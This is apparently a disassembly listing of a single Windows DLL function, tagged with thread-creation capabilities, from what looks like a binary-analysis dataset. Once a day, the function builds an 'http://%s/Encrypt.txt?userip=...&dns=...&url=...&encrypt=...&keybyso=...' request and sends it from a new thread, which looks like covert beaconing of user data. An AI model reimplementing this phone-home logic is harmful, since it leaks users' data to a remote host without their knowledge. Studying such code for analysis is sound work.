Function at 0x100d650c
Capabilities:
Create thread
Resume thread

Disassembly:
push ebp
sub esp, 0x208
lea ebp, [esp - 4]
mov eax, dword [0x101f6410]
xor eax, ebp
mov dword [ebp + 0x208], eax
push 0x3c
mov eax, 0x1018d935
call fcn.10145d80
lea eax, [ebp - 0x10]
push eax
mov dword [ebp - 4], 3
call fcn.1011b8e2
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 4], 4
call fcn.1011ba24
pop ecx
pop ecx
lea eax, [ebp - 0x28]
mov esi, 0x101f84e8
push eax
mov ecx, esi
mov byte [ebp - 4], 5
call fcn.10051ffe
lea eax, [ebp - 0x24]
push eax
mov ecx, esi
mov byte [ebp - 4], 6
call fcn.100520c1
push dword [ebp - 0x24]
mov byte [ebp - 4], 7
push dword [ebp - 0x10]
call fcn.10005373
pop ecx
xor edi, edi
test eax, eax
pop ecx
jne 0x100d65b9
push dword [ebp - 0x28]
push dword [ebp - 0x14]
call fcn.10005373
test eax, eax
pop ecx
pop ecx
jne 0x100d65b9
push edi
call fcn.10146fd5
pop ecx
mov ecx, esi
mov ebx, eax
call fcn.10052184
sub ebx, eax
cmp ebx, 0x15180
jge 0x100d65cd
jmp 0x100d681b
push dword [ebp - 0x14]
mov ecx, esi
call fcn.10052079
push dword [ebp - 0x10]
mov ecx, esi
call fcn.1005213c
push edi
call fcn.10146fd5
pop ecx
push eax
mov ecx, esi
call fcn.1004e461
lea eax, [ebp - 0x20]
push eax
mov ecx, esi
call fcn.100521ae
mov eax, dword [ebp - 0x20]
cmp dword [eax - 8], edi
mov byte [ebp - 4], 8
je 0x100d6813
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x30], edi
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x40]
push eax
push edi
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 9
mov dword [ebp - 0x40], 0x3a
mov dword [ebp - 0x3c], edi
call fcn.1000401e
push eax
call fcn.101490ef
add esp, 0xc
mov esi, eax
jmp 0x100d6664
push esi
lea ecx, [ebp - 0x18]
call fcn.10007b11
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0xa
call fcn.1002a498
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x40]
push eax
push edi
call fcn.101490ef
add esp, 0xc
lea ecx, [ebp - 0x18]
mov esi, eax
mov byte [ebp - 4], 9
call fcn.10003b75
cmp esi, edi
jne 0x100d662c
cmp dword [ebp - 0x34], edi
je 0x100d680b
push edi
call fcn.10146fd5
push eax
call fcn.10147375
mov esi, dword [ebp - 0x34]
call fcn.10147382
cdq
idiv esi
push 0x206
lea eax, [ebp + 2]
push edi
push eax
mov word [ebp], di
mov ebx, edx
call fcn.10146c80
add esp, 0x14
push 0x104
lea eax, [ebp]
push eax
push dword [0x101f9aa8]
mov dword [ebp - 0x2c], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp]
push eax
call fcn.1011ccdb
mov eax, dword [0x101f3028]
pop ecx
pop ecx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov eax, 0x100
push eax
push eax
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 0xc
call fcn.1000401e
push eax
push 0x1000
push dword [0x101f9aa8]
call dword [sym.imp.USER32.dll_LoadStringW]
push 0xffffffffffffffff
lea ecx, [ebp - 0x18]
call fcn.100041f7
mov esi, dword [ebp - 0x18]
cmp dword [esi - 8], edi
push ebx
lea ecx, [ebp - 0x38]
jne 0x100d6748
call fcn.10024269
push dword [ebp - 0x2c]
push dword [ebp + 0x220]
push dword [ebp + 0x214]
push dword [ebp + 0x218]
push dword [ebp + 0x21c]
push dword [ebp - 0x10]
push dword [ebp - 0x14]
push dword [eax]
lea eax, [ebp - 0x1c]
push str.http:___s_Encrypt.txt_userip__s_dns__s_url__s_encrypt__s_keybyso__s_ps__s_version__d_
push eax
call fcn.10004662
add esp, 0x28
jmp 0x100d6782
call fcn.10024269
push esi
push dword [ebp - 0x2c]
push dword [ebp + 0x220]
push dword [ebp + 0x214]
push dword [ebp + 0x218]
push dword [ebp + 0x21c]
push dword [ebp - 0x10]
push dword [ebp - 0x14]
push dword [eax]
lea eax, [ebp - 0x1c]
push str.http:___s_Encrypt.txt_userip__s_dns__s_url__s_encrypt__s_keybyso__s_ps__s_version__d__s_
push eax
call fcn.10004662
add esp, 0x2c
mov eax, dword [ebp - 0x1c]
mov esi, dword [eax - 8]
xor ecx, ecx
push 2
lea ebx, [esi + 1]
pop edx
mov eax, ebx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.10144fc2
lea ecx, [esi + esi + 2]
push ecx
push edi
push eax
mov dword [ebp - 0x44], eax
call fcn.10146c80
push dword [ebp - 0x1c]
push 0x101a32c4
push 0xffffffffffffffff
push ebx
push dword [ebp - 0x44]
call fcn.1014612c
lea eax, [ebp - 0x48]
push eax
push 4
push dword [ebp - 0x44]
push 0x100d6385
push edi
push edi
call fcn.10147cdf
mov esi, eax
add esp, 0x3c
cmp esi, edi
je 0x100d67fb
push 0x4000
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x18]
call fcn.10003b75
lea ecx, [ebp - 0x1c]
call fcn.10003b75
lea ecx, [ebp - 0x38]
call fcn.10024521
lea ecx, [ebp - 0x20]
call fcn.10003b75
lea ecx, [ebp - 0x24]
call fcn.10003b75
lea ecx, [ebp - 0x28]
call fcn.10003b75
lea ecx, [ebp - 0x14]
call fcn.10003b75
lea ecx, [ebp - 0x10]
call fcn.10003b75
lea ecx, [ebp + 0x214]
call fcn.10003b75
lea ecx, [ebp + 0x218]
call fcn.10003b75
lea ecx, [ebp + 0x21c]
call fcn.10003b75
lea ecx, [ebp + 0x220]
call fcn.10003b75
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x208]
xor ecx, ebp
call fcn.10145d71
add ebp, 0x20c
leave
ret 0x10